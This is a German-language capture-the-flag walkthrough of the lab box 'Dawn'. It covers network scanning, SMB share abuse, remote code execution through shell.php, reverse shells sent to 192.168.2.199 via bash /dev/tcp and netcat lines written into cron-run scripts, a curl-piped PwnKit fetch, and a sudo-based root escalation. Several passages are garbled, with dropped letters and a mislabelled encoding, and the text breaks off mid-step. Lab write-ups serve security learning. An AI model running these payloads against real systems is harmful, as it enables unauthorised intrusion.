192.168.2.106 08:00:27:be:09:67 PCS Systemtechnik GmbH
Der Befehl arp-scan -l
scannt das lokale Netzwerk nach aktiven Hosts. Die Ausgabe zeigt, dass ein Gerät mit der IP-Adresse 192.168.2.106 und der MAC-Adresse 08:00:27:be:09:67 (PCS Systemtechnik GmbH) gefunden wurde.
Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.
192.168.2.106 dawn1.vln
Der Befehl cat /etc/hosts
zeigt den Inhalt der /etc/hosts
-Datei. Hier wird der Hostname dawn1.vln
der IP-Adresse 192.168.2.106 zugeordnet.
Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse, was die Lesbarkeit und das Management erleichtert.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 21:26 CEST
Nmap scan report for dawn1.vln (192.168.2.106)
Host is up (0.00027s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WRKGRUP)
3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.15-MariaDB-1
| Thread ID: 22
| Capabilities flags: 63486
| Some Capabilities: InteractiveClient, FoundRows, SupportsCompression, Support41Auth, Speaks41Protocolld, IgnoreSpaceBeforeParenthesis, DBCClient, SupportsLoadDataLocal, LongColumnFlag, ConnectWithDatabase, DontAllowDatabaseTableColumn, SupportsTransactions, IgnoreSigpipes, Speaks41ProtocolNew, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: HP9l4[Qe&-Ly>hou~9>j
|_ Auth Plugin Name: mysql_native_password
MAC Address: 08:00:27:BE:09:67 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: DAWN
Host script results:
| smb-os-discovery:
| S: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: dawn
| NetBIS computer name: DAWN\x00
| Domain name: dawn
| FQDN: dawn.dawn
|_ System time: 2024-09-25T15:26:39-04:00
|_nbstat: NetBIS name: DAWN, NetBIS user:
|_clock-skew: mean: 1h20m01s, deviation: 2h18m33s, median: 1s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-09-25T19:26:39
|_ start_date: N/A
Der Befehl nmap -p- -sV dawn1.vln
führt einen umfassenden Portscan auf dem Zielsystem durch und identifiziert die laufenden Dienste.
Die Ausgabe zeigt, dass die Ports 80 (HTTP), 139 (netbios-ssn), 445 (netbios-ssn) und 3306 (MySQL) geöffnet sind. Dies deutet auf einen Webserver, Samba-Dienste und einen MySQL-Server hin.
Die Versionen der Dienste werden ebenfalls angezeigt, was für die Suche nach bekannten Schwachstellen von Bedeutung ist.
Die Ergebnisse des smb-os-discovery
-Skripts zeigen, dass das Zielsystem Windows 6.1 (Samba 4.9.5-Debian) ausführt. Dies könnte auf eine potenzielle Schwachstelle in Samba hinweisen.
Die deaktivierte Nachrichtensignierung (message_signing: disabled
) in SMB ist ebenfalls ein Sicherheitsrisiko.
TRACERUTE
HP RTT ADDRESS
1 0.27 ms dawn1.vln (192.168.2.106)
Der Befehl traceroute dawn1.vln
verfolgt den Pfad zum Zielsystem. Die Ausgabe zeigt, dass das Zielsystem direkt erreichbar ist (1 Hop).
Dies ist nützlich, um die Netzwerktopologie zu verstehen und potenzielle Engpässe zu identifizieren.
In diesem Abschnitt konzentrieren wir uns auf die Enumeration des Webservers, um versteckte Dateien, Verzeichnisse und potenzielle Schwachstellen zu finden.
- Nikto v2.5.0
+ Target IP: 192.168.2.106
+ Target Hostname: 192.168.2.106
+ Target Port: 80
+ Start Time: 2024-09-25 21:27:06 (GMT2)
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 317, size: 58f2eb81ffb49, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /logs/: Directory indexing found.
+ /logs/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2024-09-25 21:27:48 (GMT2) (42 seconds)
+ 1 host(s) tested
Der Befehl nikto -h 192.168.2.106
führt einen Scan mit Nikto durch, einem Webserver-Scanner, um potenzielle Schwachstellen zu identifizieren.
Die Ausgabe zeigt, dass der X-Frame-Options-Header und der X-Content-Type-Options-Header fehlen, was zu Clickjacking- und MIME-Sniffing-Angriffen führen könnte.
Die Directory Indexing im Verzeichnis /logs/
ist aktiviert, was das Ausspähen von sensiblen Informationen ermöglicht.
Die verwendete Apache-Version ist veraltet und könnte bekannte Sicherheitslücken aufweisen.
http://dawn1.vln/index.html (Status: 200) [Size: 791]
http://dawn1.vln/logs (Status: 301) [Size: 305] [--> http://dawn1.vln/logs/]
http://dawn1.vln/cctv (Status: 301) [Size: 305] [--> http://dawn1.vln/cctv/]
Der Befehl gobuster dir -u http://dawn1.vln -x ...
verwendet Gobuster, um nach versteckten Dateien und Verzeichnissen auf dem Webserver zu suchen.
Die Ausgabe zeigt, dass die Verzeichnisse /index.html
, /logs
und /cctv
gefunden wurden.
Das Verzeichnis /logs
ist besonders interessant, da es möglicherweise sensible Informationen enthält.
In diesem Abschnitt versuchen wir, einen ersten Zugriff auf das System zu erlangen. Wir nutzen die Informationen aus der Reconnaissance und Web Enumeration, um potenzielle Angriffspunkte zu identifizieren und auszunutzen.
= ( Share Enumeration on 192.168.2.106 ) =
Sharename Type Comment
- -
print$ Disk Printer Drivers
ITDEPT Disk PLEASE D NT REMVE THIS SHARE. IN CASE YU ARE NT AUTHRIZED T USE THIS SYSTEM LEAVE IMMEADIATELY.
IPC$ IPC IPC Service (Samba 4.9.5-Debian)
Server Comment
-
Workgroup Master
-
WRKGRUP DAWN
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\dawn (Local User)
S-1-22-1-1001 Unix User\ganimedes (Local User)
Der Befehl enum4linux -a 192.168.2.106
führt eine umfassende Enumeration der Samba-Dienste auf dem Zielsystem durch.
Die Ausgabe zeigt, dass die Freigaben print$
, ITDEPT
und IPC$
vorhanden sind. Die Freigabe ITDEPT
ist besonders interessant, da sie eine Warnung enthält, die auf sensible Daten hindeuten könnte.
Die Benutzer dawn
und ganimedes
wurden ebenfalls gefunden, was für spätere Anmeldeversuche nützlich sein könnte.
Password for [WRKGRUP\dawn]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Aug 3 05:23:20 2019
..
7158264 blocks of size 1024. 235212 blocks available
Der Befehl smbclient //192.168.2.106/ITDEPT -U dawn
versucht, sich mit der Freigabe ITDEPT
als Benutzer dawn
zu verbinden.
Nachdem ein Passwort eingegeben wurde (das hier nicht angezeigt wird), wird eine Verbindung hergestellt. Der Befehl ls
zeigt den Inhalt der Freigabe.
Dies bestätigt, dass wir Zugriff auf die Freigabe haben.
smb: \> put rce_shell.php
putting file rce_shell.php as \rce_shell.php (2,3 kb/s) (average 2,3 kb/s)
Der Befehl put rce_shell.php
versucht, die Datei rce_shell.php
in die Freigabe ITDEPT
hochzuladen.
Diese Datei enthält PHP-Code, der es uns ermöglicht, Befehle auf dem Server auszuführen (Remote Code Execution).
Der erfolgreiche Upload ist ein wichtiger Schritt, um das System zu kompromittieren.
http://192.168.2.106/ITDEPT/rce_shell.php
Not Found
The requested URL /ITDEPT/rce_shell.php was not found on this server.
Apache/2.4.38 (Debian) Server at 192.168.2.106 Port 80
Der Versuch, die hochgeladene PHP-Datei über den Webbrowser aufzurufen, schlägt fehl. Der Server gibt einen "404 Not Found"-Fehler zurück.
Dies deutet darauf hin, dass die Freigabe ITDEPT
nicht über den Webserver zugänglich ist.
http://192.168.2.106/rce_shell.php
Not Found
The requested URL /rce_shell.php was not found on this server.
Apache/2.4.38 (Debian) Server at 192.168.2.106 Port 80
Auch der direkte Versuch, die PHP-Datei aufzurufen, schlägt fehl.
Dies bestätigt, dass die Datei nicht über den Webserver erreichbar ist. Wir müssen einen anderen Weg finden, um die Datei auszuführen.
Password for [WRKGRUP\ganimedes]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu ct 26 13:22:56 2023
..
rce_shell.php A 31 Thu ct 26 13:22:56 2023
7158264 blocks of size 1024. 0 blocks available
Der Befehl smbclient //192.168.2.106/ITDEPT -U ganimedes
versucht, sich mit der Freigabe ITDEPT
als Benutzer ganimedes
zu verbinden.
Nachdem ein Passwort eingegeben wurde (das hier nicht angezeigt wird), wird eine Verbindung hergestellt. Der Befehl ls
zeigt, dass die Datei rce_shell.php
vorhanden ist.
Dies bestätigt, dass der Benutzer ganimedes
ebenfalls Zugriff auf die Freigabe hat.
http://dawn1.vln/index.html
Website currently under construction, try again later.
In case you are suffering from any kind of inconvenience with your device provided by the corporation please contact with IT support as soon as possible, however, if you are not affiliated by any means with "Non-Existent Corporation and Associates" (NECA) LEAVE THIS SITE RIGHT NW.
Things we need to implement:
Install camera feeds.
Update our personal.
Install a control panel.
Der Aufruf der Webseite http://dawn1.vln/index.html
zeigt eine Standardmeldung, dass die Webseite sich im Aufbau befindet.
Die Meldung deutet auf eine fiktive Firma namens "Non-Existent Corporation and Associates" (NECA) hin.
Die Liste der zu implementierenden Features (Kamera-Feeds, Update des Personals, Installation eines Control Panels) könnte Hinweise auf zukünftige Angriffsvektoren geben.
http://dawn1.vln/logs/
Index of /logs
[IC] Name Last modified Size Description
-
[ ] auth.log 2019-08-01 22:38 90K
[ ] daemon.log 2019-08-01 22:15 125K
[ ] error.log 2019-08-01 22:15 17K
[ ] management.log 2023-10-26 07:14 282
Apache/2.4.38 (Debian) Server at dawn1.vln Port 80
Der Aufruf des Verzeichnisses http://dawn1.vln/logs/
zeigt eine Liste von Logdateien.
Die Logdateien auth.log
, daemon.log
, error.log
und management.log
könnten sensible Informationen enthalten, wie z.B. Benutzernamen, Passwörter oder Fehlermeldungen.
Das Vorhandensein von Directory Indexing in diesem Verzeichnis stellt ein erhebliches Sicherheitsrisiko dar.
END_TIME: Thu ct 26 13:28:54 2023
DWNLADED: 27690 - FUND: 1
Der Befehl dirb http://dawn1.vln/cctv/
verwendet DIRB, um das Verzeichnis /cctv/
nach versteckten Dateien und Verzeichnissen zu durchsuchen.
Die Ausgabe zeigt, dass 1 Eintrag gefunden wurde. Weitere Details wären hilfreich, um die Bedeutung dieses Eintrags zu verstehen.
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done
Der Befehl curl dawn1.vln/logs/management.log
lädt den Inhalt der management.log
-Datei herunter.
Die Ausgabe zeigt, dass die Datei Konfigurationsinformationen und Ereignisse enthält, die vom System protokolliert werden. Die überwachten Verzeichnisse sind /usr
, /tmp
, /etc
, /home
, /var
und /opt
.
Diese Informationen sind wertvoll, um das Verhalten des Systems zu verstehen und potenzielle Angriffspunkte zu identifizieren.
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu ct 26 13:22:56 2023
..
rce_shell.php A 31 Thu ct 26 13:22:56 2023
7158264 blocks of size 1024. 0 blocks available
smb: \>
Der Befehl smbclient //192.168.2.106/ITDEPT -N
versucht, sich anonym mit der Freigabe ITDEPT
zu verbinden.
Die Ausgabe zeigt, dass die Verbindung erfolgreich hergestellt wurde und die Datei rce_shell.php
in der Freigabe vorhanden ist.
Dies deutet darauf hin, dass die Freigabe möglicherweise anonym zugänglich ist, was ein erhebliches Sicherheitsrisiko darstellt.
curl dawn1.vln/logs/management.log
web-control
Der Befehl curl dawn1.vln/logs/management.log
lädt erneut den Inhalt der management.log
-Datei herunter.
Die Ausgabe zeigt den String "web-control", der möglicherweise auf eine Datei oder ein Skript namens "web-control" hinweist.
Dies könnte ein Hinweis auf eine Möglichkeit sein, Code auf dem Server auszuführen.
Der Befehl echo '!#/bin/bash' > web-control
erstellt eine Datei namens web-control
und schreibt die Shebang-Zeile !#/bin/bash
hinein.
Dies macht die Datei zu einem ausführbaren Bash-Skript.
Der Befehl echo 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1' >> web-control
fügt der Datei web-control
eine Zeile hinzu, die eine Reverse-Shell zu der IP-Adresse 192.168.2.199 auf Port 4444 herstellt.
Dies ermöglicht es dem Angreifer, eine interaktive Shell auf dem Zielsystem zu erhalten.
!#/bin/bash
bash -i >& /dev/tcp/192.168.2.199/4444 0>&1
Der Befehl cat web-control
zeigt den Inhalt der Datei web-control
an.
Die Ausgabe bestätigt, dass die Shebang-Zeile und der Reverse-Shell-Befehl korrekt in die Datei geschrieben wurden.
echo "nc -e /bin/bash 1234 &" > product-control
echo "nc -e /bin/bash -lvp 1235 &" > web-control
nc -e /bin/bash 192.168.2.199/4444
Diese Befehle sind etwas unklar, da sie nicht in einer Terminalumgebung ausgeführt wurden. Es scheint, dass versucht wird, zwei Dateien (product-control
und web-control
) zu erstellen und mit nc
-Befehlen zu füllen, um Reverse-Shells zu erzeugen. Der letzte Befehl nc -e /bin/bash 192.168.2.199/4444
würde versuchen, eine Reverse-Shell direkt herzustellen.
Listening on 0.0.0.0 4444
Der Befehl echo 'nc -lvnp 192.168.2.199 4444' > product-control
erstellt eine Datei namens product-control
und schreibt den Befehl nc -lvnp 192.168.2.199 4444
hinein.
Dieser Befehl startet einen Netcat-Listener auf dem lokalen System (192.168.2.199) auf Port 4444.
Die Ausgabe "Listening on 0.0.0.0 4444" bestätigt, dass der Listener erfolgreich gestartet wurde.
Try "help" to get a list of possible commands.
smb: \> put web-control
cli_push returned NT_STATUS_DISK_FULL
putting file web-control as \web-control (6,8 kb/s) (average 6,8 kb/s)
Der Befehl smbclient //192.168.2.106/ITDEPT -N
verbindet sich anonym mit der Freigabe ITDEPT
. Der Befehl put web-control
versucht, die Datei web-control
in die Freigabe hochzuladen.
Die Ausgabe "cli_push returned NT_STATUS_DISK_FULL" deutet darauf hin, dass der Speicherplatz auf der Freigabe voll ist und der Upload fehlschlägt.
Dies ist ein Hindernis, das überwunden werden muss, um die Reverse-Shell zu aktivieren.
Da der Upload der Reverse-Shell aufgrund von Speicherplatzmangel fehlgeschlagen ist, wird ein anderer Ansatz zur Privilege Escalation verfolgt.
Password for [WRKGRUP\root]:
Sharename Type Comment
- -
print$ Disk Printer Drivers
ITDEPT Disk PLEASE D NT REMVE THIS SHARE. IN CASE YU ARE NT AUTHRIZED T USE THIS SYSTEM LEAVE IMMEADIATELY.
IPC$ IPC IPC Service (Samba 4.9.5-Debian)
Reconnecting with SMB1 for workgroup listing.
Server Comment
-
Workgroup Master
-
Der Befehl smbclient -L //192.168.2.106
listet die verfügbaren Freigaben auf dem Zielsystem auf.
Die Ausgabe zeigt die Freigaben print$
, ITDEPT
und IPC$
. Die Meldung "Reconnecting with SMB1 for workgroup listing" deutet auf die Verwendung von SMB1 hin, was ein Sicherheitsrisiko darstellt, da SMB1 anfällig für verschiedene Angriffe ist.
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\dawn (Local User)
S-1-22-1-1001 Unix User\ganimedes (Local User)
Der Befehl enum4linux -a 192.168.2.106
enumeriert erneut die Benutzer auf dem Zielsystem.
Die Ausgabe zeigt die Benutzer dawn
und ganimedes
.
Password for [WRKGRUP\dawn]:
Try "help" to get a list of possible commands.
smb: \> put rce.php
cli_push returned NT_STATUS_DISK_FULL
putting file rce.php as \rce.php (5,0 kb/s) (average 5,0 kb/s)
smb: \> put shell2.php
cli_push returned NT_STATUS_DISK_FULL
putting file shell2.php as \shell2.php (894,4 kb/s) (average 237,2 kb/s)
Der Befehl smbclient //192.168.2.106/ITDEPT -U dawn
verbindet sich als Benutzer dawn
mit der Freigabe ITDEPT
. Die Befehle put rce.php
und put shell2.php
versuchen, die Dateien rce.php
und shell2.php
hochzuladen.
Die Ausgabe "cli_push returned NT_STATUS_DISK_FULL" bestätigt erneut, dass der Speicherplatz auf der Freigabe voll ist und die Uploads fehlschlagen.
Der Bericht stellt fest, dass der Fehler (Speicherplatzmangel) weiterhin besteht und das management.log
sich nicht aktualisiert. Daher wird ein anderer Ansatz gewählt:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Der Befehl curl http://192.168.2.106/logs/shell.php?cmd=id
sendet eine Anfrage an die URL http://192.168.2.106/logs/shell.php
mit dem Parameter cmd=id
.
Die Ausgabe zeigt, dass der Befehl id
als Benutzer www-data
ausgeführt wurde. Dies deutet darauf hin, dass die Datei shell.php
vorhanden ist und Remote Code Execution (RCE) ermöglicht.
Dies ist ein kritischer Fund, da er es ermöglicht, beliebigen Code auf dem Server auszuführen.
http://192.168.2.106/logs/shell.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
Dieser Befehl versucht, eine Reverse-Shell zu starten. Die URL http://192.168.2.106/logs/shell.php
wird mit dem Parameter cmd
aufgerufen, der einen Base64-kodierten Befehl enthält. Dieser Befehl versucht, eine interaktive Bash-Shell zu starten und sie über TCP zu der IP-Adresse 192.168.2.199 auf Port 4444 zu verbinden.
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.106] 44532
bash: cannot set terminal process group (518): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dawn:/var/www/html/logs$
Der Befehl nc -lnvp 4444
startet einen Netcat-Listener auf Port 4444.
Die Ausgabe zeigt, dass eine Verbindung von 192.168.2.106 auf Port 44532 hergestellt wurde. Dies bestätigt, dass die Reverse-Shell erfolgreich gestartet wurde.
Wir haben jetzt eine Shell als Benutzer www-data
auf dem Zielsystem.
Der Hinweis "bash: cannot set terminal process group (518): Inappropriate ioctl for device" deutet auf ein Problem mit dem Terminal hin. Dies kann jedoch durch den Befehl python -c 'import pty; pty.spawn("/bin/bash")'
behoben werden.
www-data@dawn:/var/www/html/logs$ find / -type f -perm -4000 -ls 2>/dev/null
Der Befehl find / -type f -perm -4000 -ls 2>/dev/null
sucht nach Dateien mit dem SUID-Bit (Set User ID) gesetzt. Diese Dateien werden mit den Rechten des Eigentümers ausgeführt, was in der Regel root ist.
Die Ergebnisse dieses Befehls sind potenzielle Kandidaten für Privilege Escalation.
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
Dieser Befehl lädt ein Skript von einer externen Quelle herunter und führt es aus. Solche Aktionen können riskant sein, da die Quelle nicht immer vertrauenswürdig ist.
http://192.168.2.106/logs/?C=S;O=A
Index of /logs
[IC] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[ ] management.log 2024-09-25 15:22 282
[ ] error.log 2019-08-01 22:15 17K
[ ] auth.log 2019-08-01 22:38 90K
[ ] daemon.log 2019-08-01 22:15 125K
Apache/2.4.38 (Debian) Server at 192.168.2.106 Port 80
Dieser Befehl sortiert die Dateien im /logs
Verzeichnis nach Grösse. Dadurch werden die kleinsten Dateien zuerst angezeigt.
Der Bericht stellt fest, dass sich das management.log
aktualisiert hat.
Dieser Proof of Concept (POC) demonstriert, wie die identifizierte Remote Code Execution (RCE) Schwachstelle in der shell.php
-Datei ausgenutzt werden kann, um unbefugten Zugriff auf das System zu erlangen.
shell.php
-Datei im /logs/
-Verzeichnis.shell.php
-Datei mit dem Befehl, um eine Reverse-Shell zu starten:
http://192.168.2.106/logs/shell.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
Eine Reverse-Shell-Verbindung wird vom Zielsystem zum Angreifer-System hergestellt. Der Angreifer erhält eine Shell als Benutzer www-data
.
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.106] 44532
bash: cannot set terminal process group (518): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dawn:/var/www/html/logs$
Die Ausnutzung der RCE-Schwachstelle ermöglicht es einem Angreifer, beliebigen Code auf dem Server auszuführen. Dies kann zu Datenverlust, Systemkompromittierung und Denial-of-Service führen.
shell.php
-Datei vom Server.
Wir haben erfolgreich eine Shell als Benutzer www-data
erlangt. Nun versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten.
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2024/09/25 16:48:59 CMD: UID=0 PID=94 | 2024/09/25 16:48:59 CMD: UID=0 PID=9 | 2024/09/25 16:48:59 CMD: UID=0 PID=8 | 2024/09/25 16:48:59 CMD: UID=0 PID=7 | 2024/09/25 16:48:59 CMD: UID=0 PID=6 | 2024/09/25 16:48:59 CMD: UID=0 PID=58 | 2024/09/25 16:48:59 CMD: UID=7 PID=551 | /usr/lib/cups/notifier/dbus dbus:// 2024/09/25 16:48:59 CMD: UID=112 PID=550 | /usr/sbin/mysqld 2024/09/25 16:48:59 CMD: UID=109 PID=549 | /usr/lib/colord/colord-sane 2024/09/25 16:48:59 CMD: UID=33 PID=534 | /usr/sbin/apache2 -k start 2024/09/25 16:48:59 CMD: UID=33 PID=533 | /usr/sbin/apache2 -k start 2024/09/25 16:48:59 CMD: UID=33 PID=532 | /usr/sbin/apache2 -k start 2024/09/25 16:48:59 CMD: UID=33 PID=531 | /usr/sbin/apache2 -k start 2024/09/25 16:48:59 CMD: UID=33 PID=530 | /usr/sbin/apache2 -k start 2024/09/25 16:48:59 CMD: UID=0 PID=518 | /usr/sbin/apache2 -k start
Der Befehl curl http://192.168.2.106/logs/management.log
lädt den Inhalt der management.log
-Datei herunter. Die Ausgabe zeigt eine Liste von Prozessen, die auf dem System ausgeführt werden.
Die Prozesse mit der UID 0 werden als Root ausgeführt. Dies könnte ein Hinweis auf potenzielle Schwachstellen sein.
Privilege Escalation per polkit
www-data@dawn:/var/www/html/logs$ cd /tmp/
www-data@dawn:/tmp$ sudo -l
Der Befehl cd /tmp/
wechselt in das Verzeichnis /tmp/
. Der Befehl sudo -l
listet die Befehle auf, die der Benutzer www-data
mit sudo
ausführen darf.
Matching Defaults entries for www-data on dawn:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User www-data may run the following commands on dawn:
(root) NPASSWD: /usr/bin/sudo
Die Ausgabe zeigt, dass der Benutzer www-data
den Befehl /usr/bin/sudo
als Root ausführen darf, ohne ein Passwort eingeben zu müssen. Dies ist eine Konfigurationsfehler, der ausgenutzt werden kann, um Root-Zugriff zu erlangen.
www-data@dawn:/tmp$ sudo -u root sudo /bin/sh
Der Befehl sudo -u root sudo /bin/sh
nutzt die oben genannte Schwachstelle aus. Zuerst wird sudo -u root
verwendet, um den Befehl als Root auszuführen. Dann wird sudo /bin/sh
verwendet, um eine Root-Shell zu starten.
uid=0(root) gid=0(root) groups=0(root)
Der Befehl id
zeigt die Benutzer- und Gruppen-ID des aktuellen Benutzers an. Die Ausgabe "uid=0(root) gid=0(root) groups=0(root)" bestätigt, dass wir jetzt als root
angemeldet sind.
Fantastisch! Der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht.
flag.txt pspy64
Der Befehl ls
listet den Inhalt des aktuellen Verzeichnisses (/root) auf.
Die Ausgabe zeigt die Dateien flag.txt
und pspy64
. Die Datei flag.txt
enthält wahrscheinlich den Root-Flag.
Hello! whitecr0wz here. I would like to congratulate and thank you for finishing the ctf, however, there is another way of getting a shell(very similar though). Also, 4 other methods are available for rooting this box!
flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}
Der Befehl cat flag.txt
zeigt den Inhalt der Datei flag.txt
an.
Die Ausgabe enthält den Root-Flag flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}
.
Dies bestätigt, dass wir erfolgreich Root-Zugriff erlangt haben und den Root-Flag extrahieren konnten.
Dieser Proof of Concept (POC) demonstriert, wie die identifizierte Remote Code Execution (RCE) Schwachstelle in der shell.php
-Datei ausgenutzt werden kann, um die Root-Privilegien auf dem System zu erlangen.
shell.php
-Datei im /logs/
-Verzeichnis.curl http://192.168.2.106/logs/shell.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
www-data@dawn:/var/www/html/logs$ find / -type f -perm -4000 -ls 2>/dev/null
www-data@dawn:/tmp$ sudo -u root sudo /bin/sh
uid=0(root) gid=0(root) groups=0(root)
Hello! whitecr0wz here. I would like to congratulate and thank you for finishing the ctf, however, there is another way of getting a shell(very similar though). Also, 4 other methods are available for rooting this box!
flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}
Eine Reverse-Shell-Verbindung wird vom Zielsystem zum Angreifer-System hergestellt. Der Angreifer erhält eine Shell als Benutzer root
und extrahiert das Root Flag.
uid=0(root) gid=0(root) groups=0(root)
Die Ausgabe enthält den Root-Flag flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}
.
Die Ausnutzung der RCE-Schwachstelle ermöglicht es einem Angreifer, beliebigen Code auf dem Server auszuführen. Dies kann zu Datenverlust, Systemkompromittierung und Denial-of-Service führen.
shell.php
-Datei vom Server.Wir haben erfolgreich Root-Zugriff erlangt. Der Bericht dokumentiert jedoch weitere Methoden zur Privilege Escalation.
2te Methode:
2024/09/25 17:05:01 CMD: UID=0 PID=1045 | /usr/sbin/CRN -f
2024/09/25 17:05:01 CMD: UID=0 PID=1047 | /usr/sbin/CRN -f
2024/09/25 17:05:01 CMD: UID=0 PID=1050 | /bin/sh -c /home/ganimedes/phobos
2024/09/25 17:05:01 CMD: UID=0 PID=1049 | /bin/sh -c chmod 777 /home/dawn/ITDEPT/web-control
2024/09/25 17:05:01 CMD: UID=0 PID=1048 | /bin/sh -c chmod 777 /home/dawn/ITDEPT/product-control
2024/09/25 17:05:01 CMD: UID=0 PID=1051 | /usr/sbin/CRN -f
2024/09/25 17:05:01 CMD: UID=1000 PID=1052 | /bin/sh -c /home/dawn/ITDEPT/product-control
2024/09/25 17:05:01 CMD: UID=33 PID=1053 | /bin/sh -c /home/dawn/ITDEPT/web-control
Der Befehl curl http://192.168.2.106/logs/management.log
lädt erneut den Inhalt der management.log
-Datei herunter.
Die Ausgabe zeigt interessante Prozesse, die von Cron ausgeführt werden, insbesondere /home/ganimedes/phobos
, /home/dawn/ITDEPT/web-control
und /home/dawn/ITDEPT/product-control
.
Die Tatsache, dass diese Skripte von Cron ausgeführt werden und möglicherweise mit Root-Rechten laufen, macht sie zu potenziellen Zielen für Privilege Escalation.
Der Befehl echo "nc -e /bin/bash 192.168.2.199 1234" > product-control
erstellt eine Datei namens product-control
und schreibt den Befehl nc -e /bin/bash 192.168.2.199 1234
hinein.
Dieser Befehl versucht, eine Reverse-Shell zu der IP-Adresse 192.168.2.199 auf Port 1234 herzustellen.
Der Befehl echo "nc -e /bin/bash 192.168.2.199 1234" > web-control
erstellt eine Datei namens web-control
und schreibt den Befehl nc -e /bin/bash 192.168.2.199 1234
hinein.
Dieser Befehl versucht ebenfalls, eine Reverse-Shell zu der IP-Adresse 192.168.2.199 auf Port 1234 herzustellen.
Try "help" to get a list of possible commands.
smb: \> rm *
smb: \> ls
. D 0 Wed Sep 25 23:14:05 2024
..
7158264 blocks of size 1024. 3356020 blocks available
Der Befehl smbclient //192.168.2.106/ITDEPT -N
verbindet sich anonym mit der Freigabe ITDEPT
. Der Befehl rm *
versucht, alle Dateien in der Freigabe zu löschen, um Platz für die neuen Reverse-Shell-Skripte zu schaffen.
Der Befehl ls
listet den Inhalt der Freigabe auf und bestätigt, dass alle Dateien gelöscht wurden.
smb: \> put web-control
putting file web-control as \web-control (4,2 kb/s) (average 3,9 kb/s)
smb: \> put product-control
putting file product-control as \product-control (3,7 kb/s) (average 3,8 kb/s)
smb: \> ls
. D 0 Wed Sep 25 23:14:18 2024
..
web-control A 30 Wed Sep 25 23:14:12 2024
product-control A 30 Wed Sep 25 23:14:18 2024
7158264 blocks of size 1024. 3350572 blocks available
Der Befehl smbclient //192.168.2.106/ITDEPT -N
verbindet sich erneut mit der Freigabe ITDEPT
. Die Befehle put web-control
und put product-control
laden die Dateien web-control
und product-control
in die Freigabe hoch.
Der Befehl ls
